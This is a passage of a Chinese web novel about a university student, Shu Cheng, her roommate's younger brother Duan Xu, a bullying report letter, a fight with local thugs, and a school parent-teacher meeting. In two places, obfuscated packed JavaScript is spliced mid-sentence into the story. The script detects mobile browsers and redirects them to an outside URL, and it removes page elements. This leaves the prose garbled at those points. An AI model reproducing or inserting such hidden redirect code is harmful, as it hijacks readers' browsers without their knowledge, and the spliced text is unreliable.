段叙以极快的速度浏览完整篇举报信的内容。 极其标准的议论文结构,被写信人用在了举报信里。 是什么——我是谁。 为什么——我为什么写这封信。 怎么样——学校的举措。 承上启下,论点新颖犀利。 若放在考试里,绝对是一篇接近满分的作文。 “班主任虽然是好心,但我感觉她在讽刺咱们,永远也写不出这样的文章。” 段叙用关爱智障的眼神看杜尚兰,“知道班任为什么要让你看吗?” 杜尚兰挠头,“为啥?” “告诉你以后写议论文,别再用‘宝剑锋从磨砺出,梅花香自苦寒来’做开头了。” 前面有看完举报信的女生,举起手机对着拍了几张照片,跟同伴说一会儿打印出来好好研究一下里面的转合节奏。 同伴问你不觉得这信写得像讲相声吗?看到最后就觉得酣畅淋漓意犹未尽,学校要是不安排安保巡逻那简直不是中国人! 拍照的女生笑着说现在放学不是都有巡逻了吗?挺好的,不然一中那些人总在附近晃。 她没注意杜尚兰和段斐站在身后,一个转身差点撞上段叙。 男生眉眼精致,颚角分明,一双狐狸似的眼睛正垂视着,好看的不像话。 “不、不好意思啊,段叙,差点踩到你。” “没事。”段叙转身离开。 身后两个女生闹了个红脸,拉着彼此的手摇晃,“好近!” “好帅!” 杜尚兰哈腰,指指自己,自取其辱地问:“那我呢?” 俩女生异口同声,“杜尚兰你……物理是真不错啊!” “谢谢啊。”取辱完毕,杜尚兰拉着一张脸回到座位,像条脱水的泥鳅一样翻来覆去不安生。 段叙忍了又忍,忍无可忍,以笔当刀在桌面一扎,“说。” “我以前在初中也算招风的,现在大家都觉得你帅,连开学以来唯一一个加我好友的女生都是为了要你微信。” 杜尚兰:“我真的嫉妒。” “原来,”段叙冷笑,“是你把我微信给楚婷婷的?” 操。 把这事忘了。 杜尚兰也算楚婷婷这事的始作俑者,后来眼见着楚婷婷把自己干哥哥叫出来,他更不敢坦白,没想到今天嘴一块给吐露出来了,“没没有的事,你听错了吧,我说我得开始写作文了,昨天是什么题目来着?配图是不是一个妈妈打了自己的孩子转头又说爱你?” 找补不回来,杜尚兰深知段叙又不是傻逼,干脆脸一垮,哭腔道:“老段啊,段哥,段叙哥哥,是我错了,我当时没想那么多,你看后来谁跟我要你微信我都不给了,连问我你多高我都说一米七!谁也别想再在我嘴里撬出一个字!” 段叙懒得跟他计较,想到他上次因为师生大会没写作业,语文老师罚着在讲台撅了一节课补作文,大发善心将自己的卷子扔给他,“自己看。” 杜尚兰要接不接,朝作文卷子扫了两眼,踌躇道,“我还是找张然借卷子看看吧。” 张然就是刚才差点撞上段叙那位。 他把段叙的作文推回他桌子上,意思不明而喻。 你写的也挺垃圾的,咱俩半斤八两,还给我看。 看你卷子那不是找灵感,是在语文老师那里找死。 段叙深吸口气。 很好,他现在就想让杜尚兰血溅当场。 杜尚兰到语文课代表张然那里连哄带骗把卷子要过来,埋头苦写。 段叙一扫。 第一句:俗话说:宝剑锋从磨砺出,梅花香自苦寒来。所有美好的事物都是历经了一番磨难而来,母爱也不例外,母亲十月怀胎…… 他嘴角一抽,收回目光,眼睛好痛。 他抽出一张卷子打算做两道题清清眼,在看几何图形时,少有的走了神。 那封举报信里,曾提到写信人自己也曾遭受过校园霸凌。字里行间不像生编硬套,更像确有其事。 笔尖一顿,辅助线画歪了。 … 实践课临近下课,教授一一查看交上来的作业。 她抽出一张,“嗬,这诗够长的。” 底下一片窃笑。 在翻到署名舒澄的报告时,她动作停顿,将上面的几行字读完,笑了笑,“看来我这次的作业留的还挺有意义的。” “你知道我为什么每次都让你们写报告吗?” 教授视线投向某处,“因为有些人的文字里,透露着自救二字。” 有人表示不解,“自救是什么意思?” “自救,顾名思义嘛就是自己拯救自己。”教授掐着时间整理课件,“像我第一节课跟大家说的,这个社会大部分人心理都或多或少不太健康,这不是骂人啊,是真如此,只不过有些人这种现象很短暂,有些人则影响的深,慢慢就会形成各种各样的心理疾病。” “有些人可能自己都没有意识到自己生病了,但有些人,却清醒地知道自己的问题,并且寻找一切机会拯救自己。大家知道有心理疾病是很可怕的事情,它会影响你的大脑、你的身体、你的神经,在我看来,自救的人就是在跟自己的大脑斗争,她克服生理本能,努力的活着。” “这很难。” 下课铃响起,教授拿起课本和课件,“愿大家向阳而行,不被北风阻挡脚步。” 临走前,教授折返回来,“忘记说了,期末作业集思广益,下次上课前每个人交一份期末实践主题。” “老师,期末作业还要我们自己出?” “集思广益嘛。” 实践课都被安排在上午最后一节,上完课直接就是中午,大家都争抢着去食堂打饭。 舒澄每次都在最后,她不在意能不能吃到新鲜热乎的午饭,只要可以吃饱就行。 而且宜大食堂餐品丰富档口多,晚去一会儿还能有空位,没必要挤。 段斐三人也都还没走,叶从容叫住舒澄,“舒澄,一会儿一起去校外的炭火火锅啊?今天小雨抽到了五五折优惠券,可划算了。” 舒澄正要离开,面对叶从容的邀请,她犹豫了一下,还是拒绝,“你们去吃吧,我一会儿吃完饭要去图书馆整理一下晚上给学生的试题。” 叶从容想说整理试题又不差吃饭那一个小时,却被段斐按住。 段斐道:“有什么需要再跟我说,家里有个附中高中部的资源不用白不用啊。” 舒澄笑笑,“好。” 舒澄离开后,叶从容站在原地纳闷道,“我还以为咱们关系更进一步了呢。” 段斐看着舒澄的身影消失在教室门外,“澄子慢热。” 开学快三个月了。 是挺慢热。 叶从容捂着肚子,“饿了,炫他三盘肉!” … 晚上,舒澄将段叙那本试题拿出来,邵遥遥脸都绿了。 她拿过去翻了几页,脸色又肉眼可见变好,“舒老师,这题……含金量太高了吧!” 她翻到最后,啪地合上,“这一看就是自己整理的,是从哪弄来的?” 舒澄有点诧异,“这能看得出来?” “当然了。”邵遥遥得意道,“我妈妈找了很多渠道买了不少题,我见过不少,但一看就是见我妈人傻钱多坑钱的,天呢这本宝典你是咋搞到的?好牛啊,这里面全都是中考的重点题型,刷一道顶十道啊。” 舒澄将宝典,阿不是,习题本拿在手里翻过来覆过去看了看,只能看出是自己打印装册的,不过从里面打印的状态能看得出来有些题是从卷子或者练习册上裁剪下来拼在一页,可见整理的人十分用心。 这本习题本在她手里变得沉甸甸,“就从第一页第一题开始做吧。” “我用铅笔!”邵遥遥从笔袋里拿出一只粉色皇冠的自动铅,“舒老师,我觉得自己还真能考上高中部了。” 邵遥遥在台灯下认真解题,舒澄在旁边看着,顺便将她做错的地方标注在自己的本子上。 灯光下邵遥遥侧脸认真,到让她想起段叙。 想来当时也是这么坐在书桌前刻苦读书吧。 不愧是附中第二。 不过,一个能整理出这种含金量极高试题本的人,怎么会只考第二呢? 下课后。 邵遥遥的妈妈对着那本习题本是又喜又惊,她自己费了好多力气在各种学霸学神那里买了不少笔记和错题本,但都不适合遥遥。 她对舒澄连连夸奖、道谢,还问舒澄有没有意向下学期也给遥遥上课。 舒澄自然高兴,这样一来下学期的生活费也有着落了。 而且只要她足够节省,加上寒暑假在外兼职,大二的学费不用助学贷款就能解决。 没有金钱的压力,让她瞧着今晚的月亮都格外明亮。 附中高中部的期中考试就在明天,周三和周四,为期两天。 高一还没文理分科,所以需要在两天考完数学、语文、英语、物理、化学、生物、政治、历史、地理九科。 唯一人性的是,学校会将文科向和理科向的学生拆分出来,文科向学生期中考试答物化生时是一张综合套卷,并非分为三堂考试,考试内容也并不难,目标是让学生以A+通过会考即可。 听邵遥遥说,排名出来也是理科向一个排行榜,文科向一个排行榜。所以有不少理科不好但是想学理的人为了高三的保送名额,会在高一勾选文科,用来保证排名。后来学校发现了这种操作,就把高一排名从保送审核的标准里拿掉了。 邵遥遥还说,因为学校被人投了匿名举报信,这几天学校附近多了不少安保。 想到期中考试结束后,打扰段叙的事情也能尘埃落定,她步伐轻快了几分。 变故来时,是周四。 也是附中高中部期中考试最后一天。 那天舒澄她们在上体育课,她们寝室四人凭借抢课时优秀的网速成功抢到了网球课。 体育老师在前方示范发球要领,“珍惜网球课吧,没准下周下大雪这课就停了。” 大家表面惋惜,心里想的却是:不然我为什么大冬天选一个课外的体育课,老师你猜是为啥。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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校园很大,宜宁很大,她再一次不知应该去向何方。 她想去找段斐,却惭愧见她。 她怕看见段叙浑身是血的模样,她不敢走出网球场,甚至不敢给段斐发一条消息询问。 下课后,她没有去图书馆。如果段斐回来,肯定会先回寝室,舒澄就坐在位置上等她,度秒如年。 段斐在闭寝后很久才回来。 打开寝室门时,时间已经到了凌晨一点。 舒澄没有上床,依旧保持着从体育课回来的动作坐在椅子上。 叶从容听到开门声,从床上爬起来,声音带着刚睡醒的沙哑,“斐子,你去哪了,咋才回来?微信跟你说话也不回。” 段斐没回答,到饮水机接了一大杯水咕咚咕咚咽下去,才开口:“绝了。” 舒澄看着她。 段斐瘫倒在椅子里,“小雨是不是睡了?” 陈小雨在黑暗中幽幽出声:“还没,大家都在等你。” 一看三人都没睡,段斐打开寝室灯,一开口就是句脏话,“你们都不敢相信我今天经历了什么。” 她指着自己破皮的嘴角,“看我在警察局跟人吵架吵到嘴都干裂了。谁有润唇膏给我用一下?” 陈小雨和叶从容都没有,要是借口红,她俩到一大筐。 舒澄咬了下嘴唇,“我有。” 她从抽屉拿出一支没拆封的唇膏,“我在学校超市买的,有一支还没拆。” “就是有点……”便宜。 没说完,段斐上前把唇膏拿走,三两下拆开在嘴唇上涂了厚厚一层。 润唇膏是舒澄在超市买的,打折,两支十块。 冬天太干,她的嘴唇有点皲裂,就买了两支备用。唇膏是最便宜的那种,包装是透明罩壳。上面打折特价的胶带还在。 段斐没有嫌弃便宜的意思,她涂完道,“这个给我吧。” “我今天去了一趟警察局。”段斐坐回位置,“真没想到有朝一日我段某人会去警察局。” 床上两人摆出吃瓜的姿态,“细讲。” “说起来,都是我家那个小祖宗,红颜祸水一个。” 叶从容温馨提示,“斐子,你这成语用的不恰当。” “反正是这个意思。” 段斐道:“附中旁边有个一中,你们应该知道吧。” “听说过,一个普高。” “里面有个小姑娘看上我弟了,想跟他处对象,被我弟拒绝了。”段斐哼笑,语气带怒,“那小姑娘认了个干哥哥,也是一中的,就带人堵我弟。” 说到这,段斐停下来,转头看向舒澄。 舒澄心脏猛跳,她攥紧拳头,该来的总是要来。 一会儿道歉一定要诚恳。 “这事多亏了澄子。”段斐忽地站起身,拍了拍胸脯,语气诚恳发自肺腑,“澄子,你居然为了我弟弟当在他面前吓退那些混混,还写举报信让附中加强安保,我真的特别感动,以后我弟就是你弟,你就是他亲姐!” 舒澄愣住,“你不怪我没告诉你吗?” “为啥要怪你?”段斐不解,“我都让我弟把你微信备注改成恩人了,我跟他说了以后你就是他亲姐。” 舒澄停了停,“如果我一早告诉你,你弟弟被一中的人威胁,或许今天他今天就不会被人打了。” 段斐:“谁打谁?” 叶从容在旁边差不多听明白了,插嘴道:“你弟,今天被一中那群小混混,打了。”她看向舒澄,“我理解的对吧?” 段斐露出个便秘的表情,“呃,差不多吧。”她心虚地摸了下鼻尖,老脸惭愧,“就是主语换一下,就对了。” 舒澄再一次愣住。 谁打谁? 她第一次对自己的理解能力产生质疑。 半晌后,她听到自己缓缓开口询问,“难道是你弟,打了那群混混?”没记错,曹泉加上他的小弟,至少也有六七个人吧。 “啊,对。” “刚开始是我妈接到警察局和学校的通知,说段叙在警察局、一身血什么的,一下子慌了,她下午有手术走不开,我爸又出差,只能给我打电话,急得不行,让我赶紧去警察局看段叙什么样。” “她慌我也慌,还真以为他怎么地了,结果一进警察局,发现好家伙么这祖宗就头破了点皮,血都没流到眉毛上就干了。他旁边那八个人才惨,那叫一鼻青脸肿,有一个牙还掉了。段叙身上的血就是掉牙那货弄上去的——怎么有点恶心。” “那几个混混知道我弟今天下午期末考试最后一科,故意挑这个时间来堵他,估计现在八个人肠子都悔青了吧,里面有一个叫曹泉的,当时给我吓一跳,那两双眼睛都肿成一条缝了,我那时候想这得打成什么样眼睛得肿这么严重,结果警察说那是他自己哭的。” 舒澄抓住重点,有些不敢相信地问,“你弟,很能打架?” “很能?”段斐摇摇食指,“那简直是一小霸王,你们别被他外表骗了啊,看他在附中学习挺好的,人模狗样,实际上混得要死,我严重怀疑他学习这么好就是怕我爸妈哪天一口气没上来给他打死。” “以前哪次打架那一堆里没他,人家小孩都是害怕打架,我看他自己可愿意往里扎,跟个野猴子似的。” 舒澄沉默了。 难怪那天她说段叙别过于害怕时,他表情那么奇怪,像听到了什么笑话。 那时她还以为是高中生自尊心作祟不想承认,没想到小丑竟是她自己。 原来手指颤抖不都跟她自己一样是害怕。 也有可能是在局部热身——更或者按照段斐的描述,是兴奋也不无可能。 11. 弟弟 “那你说的嘴皮子磨破了是什么意思?” 叶从容不知道从哪拿了一把瓜子。 “别提了。”润唇膏吸收的差不多,段斐喝了口水润嗓,“那几个人的家长过来以后,一看自己孩子被打成那样,能不生气,要不是在警察局,估计都能扑上来生撕了我。” “要赔偿,要拘留我弟,那个打头的,叫什么曹……” “曹泉?”舒澄道。 “对,就是曹泉,他爸好离谱啊,张口就是一百万,警察都听笑了,问他是在警察面前敲诈吗。”段斐说到这,咂舌,“不得不说我弟挺聪明的,后来一放监控,这些家长都闭嘴了,监控里显示是他们孩子先动手,我弟属于‘被迫反抗’,虽然他们后来被打的没有还手之力,但怎么说还是互殴,不是单方面的殴打。” 舒澄问:“这次应该会赔不少钱吧?” “应该吧,后来是律师算的,人多,算的久,这不才回来。”段斐不甚在意,回忆道:“不过除了医药费,也没赔什么不该赔的东西,就是有个掉了门牙的估计种牙要贵一些,其他人还好。” “还好高一没分科前成绩不计入保送,不然我爸妈真能打断他的狗腿。” 段斐伸了个懒腰。 “太晚了,睡吧。” 晚上,舒澄做了一个梦。 那天,她没有挺身而出,而是躲在小巷里。她看到曹泉拎着棍子走向段叙,段叙指骨捏的咔咔作响,一手将曹泉拎起来,像丢沙包一样丢出天际。后面又冲上来几个人,无一不被他打倒,一颗牙还飚到了舒澄脚边。 她浑身一凛。 隔日,邵遥遥的舞蹈课老师有事,所以临时变成了舒澄的家教课。 等她从邵遥遥家上完课出来时,天空飘起了雪花。 今年宜宁的雪下的很早,但都不大,从十一月到现在,都是星星点点的小雪,只有遇到天气极冷的时候,才会在地面上积起一层薄薄的雪,踩上去咯吱咯吱,像挠了大地的痒痒。 她系紧围巾,不让冷风灌入领口。 路过段斐家门外时,单元门滴滴两声被打开,一个穿着黑色长款羽绒服的人从里面走出,手里拎着一个黑色的垃圾袋。 舒澄余光刮了一眼,觉得那人身影有些眼熟。 思绪间,那人也看向他,两个人的目光隔空交汇。 段叙:“舒澄姐。” 舒澄停下脚步。 段叙身着过膝黑色羽绒服,拉锁没拉,里面浅色的居家服暴露在冷空气中,额角贴着一块创可贴。 他不冷吗。 舒澄替他打了个冷颤。 舒澄看了眼时间,还不到六点,“你今天没去上课吗?” 段叙拎着塑料袋走近,“今天周六。” 平时给邵遥遥上课都是工作日,今天因为特殊情况到叫她忘记了原来是周末。 舒澄视线落向他额角的邦迪。 段叙伸手碰了下,“我姐应该都跟你说了吧。” 舒澄点点头,“听说你因为这件事下午缺考了。” “啊,期中考试而已。” 舒澄没在说什么,换了话题,“你去扔垃圾?” “嗯,我姐在家吃螺蛳粉,自己嫌臭。” 小区的统一垃圾投放点就在门口附近不远,二人并排走着。 临到门口,段叙开口,“舒澄姐,我不是有意瞒着你。” 这句话,段叙犹豫了一路,最后还是决定说出来。 他混归混,也不是故意耍舒澄,看她笑话。 舒澄眨了眨眼,围巾里呼出的热气让镜片上出现一层水雾,她将眼镜拿下来,用围巾擦了擦,没着急戴上去,“瞒着我什么?” “就是、我还挺能打的。” 扑哧—— 舒澄笑出声,她觉得段斐这个弟弟虽然看着有点拽,但性格还是挺可爱的。 “这有什么,我又没问。” 她压根没往这方面想,所以先入为主以为段叙跟她一样,是个手无缚鸡之力的小孩。 她问都没问过,怎么会怪段叙瞒着她。 “而且我觉得,还挺好的。” 舒澄嘴角带笑,说的是真心话。 家人是后盾,但自己的拳头硬才是王道。 高中生的世界,没那么复杂,看你不爽我就揍你,揍不过我就不来招惹你,很简单的道理。 早知道段叙这么厉害,她也不用担心那么多天了。 雪越下越大。 段叙垂眸,看到舒澄一双清澈的鹿眼此刻亮晶晶,她眉眼含笑,粉唇饱满轻弯。 女生对着路灯的方向举起眼镜,看到上面没有痕迹后重新戴上眼镜。 厚厚的镜片也阻挡不住那双灵动的眼。 路面上有了不少积雪,此时在脚边发出沙沙的声音。 是否被撩拂而动,只有风知道。 段叙轻声嗯了下。 舒澄眨眨眼,将睫毛上落的雪花抿化,“我刚才就想问,弟弟,你不冷吗?” 段叙微顿,“还好。” … 天气越来越冷,体育课一停上后,大一新生们的时间更空。 舒澄整个人更是除了吃饭睡觉和家教的时间全都将自己埋在图书馆里,宜大的奖学金很丰厚,她要是能拿到,大二的学费就有着落了。 只要能好好学习,就能解决学费的问题,对于她来说是一个投入产出比很吸引人的事情。所以不论是教授们上课的课件,还是平时在课上随口一提的参考书籍,她全都到图书馆背下来。 她不聪明,只会笨方法。遇到不理解的东西,哪怕是死记硬背也要背到滚瓜烂熟,反正以后总会理解的。 但舒澄没想到,她这种做法居然会引来院里其他人的嫉妒。 那天下课,她到讲台前询问刚才老师推荐的书是哪几个字。 将名字写在记事本上,她刚从教室出去,身后就被人狠狠撞了一下。 一回头,是一个女生。 脸熟,但不知道叫什么。 孔苓苓阴阳怪气道:“这是又找老师开小灶了?大家都没画重点呢,我特好奇你每天在图书馆都背什么?说出来大家一起背呗。” 太拙劣。 舒澄见过不少手段比她强百倍、说话难听百倍的人,她没打算跟这种人计较,转身就走。 孔苓苓被忽视,冷笑提高声音,“清高什么,不就是高考分高了点吗,她要真这么牛逼怎么不去南大,南大的心理学才是国内第一,跑到宜大耀武扬威起来了。真能装。” 舒澄听见了。 她停都没停。 她的分数是可以试一下南湖大学的心理系,但她没报。 因为黄丹不会给她出路费,从家到宜宁,三十块钱的硬座就能解决。 如果是去南大,三十几个小时的硬座,三百块。 在黄丹看来,没有什么专业好坏,只有学校排名。宜大在排名上比南大略胜一筹,她不理解也不同意舒澄为什么要选一个离家那么远还不如宜大的学校。 到食堂匆忙吃了口饭,舒澄回到图书馆继续背书。 正背着,一杯奶茶被放在她桌上。 她抬头,看见一个戴着眼镜的男生拘谨地看着自己。 不会吧。 舒澄心想。 男生开口:“同学你好,这几天看你一直在图书馆,方便认识一下吗?” 舒澄把奶茶推远,“奶茶就不用了,我不渴。” “……” “我叫苏蓝,你叫什么?” “舒澄。” “这名字真好听。” 搭讪的和被搭讪的全都是木头。 舒澄:“谢谢。” 她翻了一页,“我还要背书,你还有事吗?苏蓝同学。” 苏蓝挠了挠头,神色有点尴尬,“能加个微信吗?” 舒澄把没电关机的手机给他看,婉拒道:“手机没电了,不好意思。” 苏蓝被拒绝,脸色尴尬,说了句真是不巧,拿起奶茶便离开了。 舒澄推了下厚重的眼镜,没当回事。 晚上回到寝室,她一开门,段斐就捧着一杯奶茶作出恭候的模样。 舒澄眼皮一跳,默不作声接过来,从善如流:“说吧,啥事。” 段斐露出一个讨好的笑,“懂我。” “周五下午四点,你应该不用上家教课吧?” “不上。” “那能不能帮我参加个会议?”段斐用吸管帮舒澄戳开奶茶。 “会议?我记得你好像没参加学生会。” “啊对。”段斐露齿笑,“家长会。” 舒澄差点被奶茶呛到,“家长会?你弟的?” “正是正是。”段斐贴心地给她顺背,“我爸太忙了,我妈有手术,本来应该我去的,但好巧不巧非常可惜我居然抢到了一直想听的脱口秀门票,就在周五下午。” 她眨眼,“怎么样,段叙的亲姐,考虑一下?” 舒澄将奶茶咽进肚子,“我是没关系,你弟不介意一个不熟的人给他开家长会就行。” “不介意。”段斐拍胸脯保证,“他说有人去就行。上初中的时候我还给他去相亲市场雇了一个大娘说是他奶奶呢。” “……” 舒澄给段斐点赞。 见这事舒澄答应了,段斐欢天喜地当着舒澄的面付了脱口秀的黄牛票。她抬头,正巧看见舒澄欲言又止的表情。 心虚道:“这黄牛,也挺难找的。” 舒澄忍不住笑了,没计较,到卫生间洗澡。 等她出来,寝室内正讨论的热火朝天。 “所以所以他真那么说?” 极少见陈小雨有这么激动的表情,黑色的美甲上下翻飞。 叶从容脸一红,“我还没回呢,我感觉这男的好会说啊,别是看了什么渣男语录大全。” 陈小雨:“要不要我给你算上一卦,上次物理系的那个男的跟我表白,我就算了一下,牌面说是个大渣男,果然被我拒绝还没到一天就跟另一个女生在一起了。” “那你帮我看看。” 叶从容凑到陈小雨身边,两个人开始洗牌。 段斐半躺在懒人椅里,敷着面膜,“我说感情这东西怎么能听塔罗牌的,喜欢就同意好了。” 叶从容头也不回,“上次那个叫林什么的长得挺帅的,你咋没同意?” “啧,”段斐差点从椅子上滚下来,“你们不觉得那个人长得有点像我弟?看着他我就想到段叙那张欠揍的脸。” “不像。” “像也是低配版的,跟你弟颜值根本比不了啊,你弟明显是浓颜帅哥,那个林什么的鼻子像被人打了一拳,不挺。” “你刚还说人家长得帅。” “塌鼻子帅哥。” 舒澄听了半天,想到白天在图书馆的那一幕,踌躇开口:“那要是不喜欢,要怎么拒绝才好?” 寝室三人动作均是一顿。 叶从容更夸张,嗷一嗓子,“你也被人表白了?” 见她如此激动,舒澄连忙否认,“我好奇,就问问。” “哦。”叶从容军师上线,“不喜欢一定要明确拒绝,这些男的都是刚在高中憋了三年不敢早恋的,一进大学就像野兽觅食,所以拒绝一定要狠,不然他们还以为你欲擒故纵呢。” “你真的没有情况?” 叶从容目光敏锐,打量舒澄。 舒澄一边擦头发借机挡住叶从容的视线,“没有。怎么会有人跟我搭讪,我又不好看。” 段斐见不得舒澄妄自菲薄的样子,几步走到她对面,用手扣着她肩膀,仔仔细细打量。 “哪里不好看,你就是不打扮,看看你这眉毛!” 叶从容捧哏:“都不用画!” “看看你这眼睛!” 叶从容:“双眼皮这弧度简直完美!” “再看看你的鼻子你的嘴!” 叶从容:“小巧红润如樱桃一般饱满!” 舒澄没耳听,告饶要走。 段斐认真道:“真的,澄子,你把你那个老土的黑眼镜框换了,都掉漆了。镜片配一个薄点的,每天别涂个宝宝面霜,也敷个面膜什么的,别总穿那两件款式老土的毛衣、牛仔裤、羽绒服,肯定好看,不输校花。” 舒澄想说谢谢安慰,这从头到脚全都整改一通谁来谁好看。 舒澄:“校花是谁?” “本人。” “好的。” … 转眼到了开家长会的日子。 虽然段斐说她早就跟段叙打过招呼,去之前,舒澄还是给段叙发了个消息。 舒澄:【今天你姐有事走不开,我来给你开家长会哈。】 发消息的时候是下午一点多,看时间附中应该正在上课,舒澄没想动段叙的消息回的还挺快。 Xu。。:【她去听脱口秀了。】 …… 舒澄这点不想伤害高中生的心顿时被戳破,她正想怎么安慰一下,段叙的消息又弹过来。 Xu。。:【舒澄姐,你不用替她遮掩。】 也是,毕竟是亲姐。 舒澄回了一个点头的表情包。 她最近学到家庭心理的章节,上面说缺少家庭关爱的孩子性格很容易走向孤僻,家长们要给予一定能过的陪伴,倾听孩子内心的声音。但她又觉得段叙和段斐的家庭很不一样,虽然父母经常忙碌,但这姐弟二人看起来并不像是缺爱的性格,反而一看就是生长在十分有爱的家庭。 她心里有些羡慕。 舒澄给舒不凡开过家长会。 她当时的高中跟舒不凡的小学只隔着一条街,黄丹觉得舒不凡成绩太差,不敢去见他的班主任,就把开家长会的任务丢给了舒澄。 实际上不光是家长会,那时她自己状态不好,成绩一落千丈,不光要顾着自己的学习,还要隔三差五跑到舒不凡的学校替他挨骂。 高中班主任嘲讽她,这么喜欢请假往隔壁小学跑,反正学习也不好干脆一毕业就找个人结婚生子在家相夫教子算了。 后来,整个高二高三她每天最多只睡五个小时,剩下的时间全部用来背题刷题,成为了鸿志高中二十几年来唯一一个考上宜大的学生,那位班主任的嘴脸又换了一副。 想远了。 舒澄在附中站下车,到校门口时,周围站了很多教辅机构发传单的人,等穿过这些人走到学校里面,舒澄手上已经被塞了十几个袋子和一厚叠传单。 最上面那些,蓝底黄字红标。 惊!高三冲刺班30天只需10w! 考生一个月提升两百分! 两百分,真敢说。 她自己从那段时间熬过来,知道这两百分有多难,当年她从低谷时期的四百八十分到最后的六百八十分,已经脱了不止一层皮。 这些机构,就会拿捏人性。 附中内的操场雪清理的很干净,孔子雕像一尘不染。 她按照段斐发的消息,找到高中部教学楼。 走进去,里面熙熙攘攘站了好多学生,有人在打电话,“堵车了?老妈这可是高中第一次家长会,你想让我到时候被班主任骂死吗!” “你妈怎么还没到?” “欸我看到我爸了,我去接他。” 舒澄唤住一位单独站着的学生,“同学你好,请问高一一班在哪里?” 学生一抬头,看见一个跟自己岁数差不多的女生,呆愣住,“你是来开家长会?” 舒澄点点头,“我室友的弟弟。” 一听是弟弟,学生恍然大悟,怪不得这么年轻,选择性忽略掉前面的室友二字,“你弟弟是哪位?” “段叙。” “他就在这,让他带你去。一班比较偏,你自己估计找不到。”学生扯着嗓子冲走廊某处喊了一声,“段叙!你姐来给你开家长会!!” 这一嗓子喊得舒澄顿时后悔应该找位女生问话。 熙熙攘攘的同学有不少看过来,都想看看段叙的姐姐长什么样。 他们看到一个穿着紫色羽绒服的女生,头发过耳,带着眼镜,挺普通的。还以为段叙颜值那么高,姐姐也不会差。 众人收回视线,从某处某点开始,不自觉让出一条缝隙。 黑压压的一片,舒澄顺着人群让开的缝隙看过去,在一团黑的尽头,看见了段叙。 他正靠着墙低头看手里的单词本,也听到了那一嗓子,掀眸,抬头。 看到舒澄以后,他身边一个肤色略黑身高相符的男生似乎说了句什么,被他斜了一眼。 段叙从人群里挤过来,走到舒澄面前,“舒澄姐,你来这么早。” 舒澄看了眼走廊上的挂钟,三点半。 她有些不好意思,“路上有雪,我怕堵车就来的有点早,是不是打扰你们了?” “没有。”段叙收起单词本,随后揣到兜里,“我带你去教室。” 从一楼大厅到一班的确很绕。 一班在高中部的子楼,一般校内知道的人会直接从子楼大门进,像舒澄这种不了解的,进了高中部教学楼大门再去一班,只能通过二楼的廊桥到子楼,再下到一楼。 舒澄一路欣赏附中的文化墙,“你们怎么都站在外面?” “家长会,宣传委员在教室画板报,我们都出来等。” 舒澄正想问,出来等怎么会走这么远。 转念一想,自己第一次来,段叙应该是知道她会从高中部正门进,特地在那里等她。 快到教室门口,刚才在走廊那位站在段叙身边的男生一下子从后面出现,勾着段叙的脖子,笑嘻嘻打招呼,“姐姐好!我是段叙的发小加同桌加最好的朋友,我叫杜尚兰。” “你好,我叫舒澄,澄清的澄,是段叙姐姐的室友。” “哎呀学霸学霸。”杜尚兰社牛属性爆发,“姐姐我们俩都想考宜大,以后没准咱还是校友呢。” 段叙把他的手从脖子上扯下去,“你话太多。” “姐姐你看他这样,他是害羞了,考宜大有什么可害羞的不要试图掩盖你的梦想,来自信一点!” 舒澄抿嘴笑。 段叙:“杜尚兰,你这次语文考多少分来着?好像是93?是不是作文写跑题了只得了23分。哦对了,你妈是不是快到了?” “……你好狠。”杜尚兰痛心。 教室内板报已经画好,舒澄在段叙指引下来到他的座位。 后续又有几位家长在学生的引领下来到教室。 不知道是不是给舒不凡开家长会留下的毛病,她一坐在位置上,就会想起每次舒不凡班主任板着脸告状到最后邦邦敲桌子的模样,不自觉有些紧张。 杜尚兰看眼手机,“老段,我妈到了,你能跟我一起去接她吗?” “自己去。” “不行啊,你要是不在她肯定上来就给我一大逼斗,是不是兄弟啊求你了。” “……” 一只白皙修长的手放在桌面,舒澄抬起头。 段叙似有几分无奈,“舒澄姐,我跟杜尚兰去接他妈过来。” 舒澄:“好的,没关系,我听段斐说你们一会儿是不是要去大礼堂自习?你们接完人直接去就好了,不用管我。” “好。” 段叙视线落到某处,他要笑不笑地开口,“舒澄姐,你不用太紧张。” 舒澄紧握的手下意识一松,“我还行。” “我学习还挺好的。”段叙闲闲地补充了句。 她被他这幅自信的样子弄笑,心里的紧张感还真的少了一些。 是啊,这是段叙又不是舒不凡,她紧张什么。 十分钟后,一位干练的女性坐在舒澄身边,二人互相轻点了下头,算是打过招呼。 这位应该就是杜尚兰的妈妈。 到了四点,家长会准时开始。 老流程,发期末试卷,答题卡。 “咱们班没有文科向的学生,我就简单提一嘴就行,咱们班看成绩会考都没什么问题,A+是稳了,但各位家长也要跟孩子说不要松懈,下学期盯住,把这种成绩和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143854|164614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 状态保持到高二会考结束。” “接下来我们先看看数学,各位家长请拿出来数学卷子。” 舒澄找出数学,答题卡上148的分数差点晃到她的眼睛。 只扣了两分,最后一道大题少了一道步骤。 她悄悄瞟了一眼杜尚兰的答题卡,分数也不低,139。 不知为什么,她心里隐隐有几分骄傲。 看,我室友的弟弟,分数高吧。 班主任在台上讲了几句,“还有啊,虽然是数学,大家这个字啊,也要好好写。尤其是杜尚兰,欸杜尚兰妈妈在呢,你看杜尚兰最后一道填空题,根号2+1他硬生生把根号写的跟5似的,那你说老师能不给他扣分。在附中一分之间就能排出来十几名学生,到时候何况高考了。” 杜尚兰妈妈点点头,表示认同。 